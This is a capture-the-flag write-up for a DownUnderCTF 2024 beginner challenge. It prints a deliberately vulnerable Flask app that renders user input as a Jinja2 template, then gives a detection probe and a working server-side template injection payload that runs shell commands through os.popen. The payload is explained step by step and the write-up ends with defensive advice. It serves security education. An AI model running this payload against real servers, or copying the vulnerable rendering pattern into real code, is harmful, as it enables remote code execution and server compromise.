- Difficulty Level: Beginner
- URL: https://github.com/DownUnderCTF/Challenges_2024_Public/tree/main/beginner/parrot-the-emu
Introduction Link to heading
Server-Side Template Injection (SSTI) is a powerful vulnerability that can lead to severe security issues, including data leakage, remote code execution, and full server compromise. This write-up covers the exploitation of SSTI in a Flask application from DownUnderCTF 2024.
Initial Analysis Link to heading
Application Structure Link to heading
The challenge provided a Flask web application with the following structure:
parrot-the-emu
└── main-app
├── app.py
├── flag
├── requirements.txt
├── static
│ └── css
│ └── styles.css
└── templates
└── index.html
Key Files Link to heading
- app.py: The main application logic.
- index.html: The HTML template for the web interface.
- flag: The file containing the flag.
- requirements.txt: Dependencies required to run the Flask application.
Code Review Link to heading
app.py Analysis Link to heading
The core functionality of the application resides in app.py
. Here is the code:
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def vulnerable():
chat_log = []
if request.method == 'POST':
user_input = request.form.get('user_input')
try:
result = render_template_string(user_input)
except Exception as e:
result = str(e)
chat_log.append(('User', user_input))
chat_log.append(('Emu', result))
return render_template('index.html', chat_log=chat_log)
if __name__ == '__main__':
app.run(debug=True, port=80)
Identifying the Vulnerability Link to heading
The critical vulnerability in this code is within the vulnerable
function, specifically at this line:
result = render_template_string(user_input)
This line takes user_input
, which is directly sourced from the HTTP request, and passes it to render_template_string
.
The render_template_string
function interprets this input as a Jinja2 template, thus allowing the user to inject and execute arbitrary code.
Validating the Vulnerability Link to heading
To validate that the application is vulnerable to SSTI, we can use a simple payload that performs a basic arithmetic operation. This test will help us determine if the input is being executed as a template.
Start the Flask Application Link to heading
Ensure that the Flask application is running. You should see output similar to this:
┌──(kali㉿kali)-[~/parrot-the-emu/main-app]
└─$ python ./app.py
...
* Running on http://127.0.0.1:80
Press CTRL+C to quit
...
Access the Application Link to heading
Open your web browser and navigate to http://127.0.0.1:80/
.
Submit the Payload Link to heading
In the web form provided by the application, enter the following payload:
{{ 7 * 7 }}
Analyze the Response Link to heading
After submitting the form, check the response from the server. If the application is vulnerable, you should see the result of the arithmetic operation rendered in the response:
49
Interpreting the Results Link to heading
This confirms that the application is interpreting the input as a Jinja2 template and executing it. This indicates that the application is vulnerable to SSTI.
Crafting the Exploit Link to heading
We can exploit this SSTI vulnerability by crafting a payload that executes arbitrary code on the server. The payload used in this challenge was:
{{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
Let’s break down this payload step by step to understand how it works and why it effectively exploits the vulnerability.
Breakdown of the Payload Link to heading
1. config.__class__
Link to heading
config
is an object in the server’s environment.config.__class__
returns the class type of theconfig
object.
2. .__init__
Link to heading
- Every Python class has an
__init__
method, which initializes the object. config.__class__.__init__
accesses the constructor method of theconfig
object’s class.
3. .__globals__
Link to heading
- The
__globals__
attribute of a function returns the global namespace where the function was defined. config.__class__.__init__.__globals__
accesses the global variables and modules available in the__init__
method’s scope.
4. ['os']
Link to heading
- Using
__globals__
, theos
module can be retrieved. config.__class__.__init__.__globals__['os']
retrieves theos
module from the global namespace.
5. .popen('cat flag')
Link to heading
- The
os.popen
method opens a pipe to or from a command. config.__class__.__init__.__globals__['os'].popen('cat flag')
executes thecat flag
command.
6. .read()
Link to heading
- The
read()
method reads the output of the executed command. config.__class__.__init__.__globals__['os'].popen('cat flag').read()
captures the output of thecat flag
command, which is the contents of theflag
file.
Summary of the Payload Link to heading
Combining all parts, the payload effectively:
- Accesses the class type of the
config
object. - Retrieves the
__init__
method of this class. - Accesses the global namespace where the
__init__
method was defined. - Retrieves the
os
module from the global namespace. - Executes the
cat flag
command usingos.popen
. - Reads and captures the output of this command, displaying the contents of the
flag
file.
Executing the Exploit Link to heading
Submitting the payload to the web application causes the server to execute the cat flag
command, revealing the flag:
DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
Conclusion Link to heading
Server-Side Template Injection is a critical vulnerability that can lead to severe security breaches. By understanding how SSTI works and where vulnerabilities lie in the code, developers can take appropriate measures to secure their applications. Always sanitize and validate user inputs, and avoid using functions that directly render user data as templates. Following these best practices can protect your applications from SSTI and other injection-based attacks.
References and Further Reading Link to heading
Documentation Link to heading
- Flask Documentation: Comprehensive guide to Flask, essential for understanding and developing secure Flask applications.
- Jinja2 Documentation: Official website and documentation for Jinja2, providing insights into template rendering and security practices.
Educational Articles Link to heading
- OWASP: Testing for Server Side Template Injection: In-depth resource on template injection vulnerabilities, including prevention techniques and examples.
- Flask Templates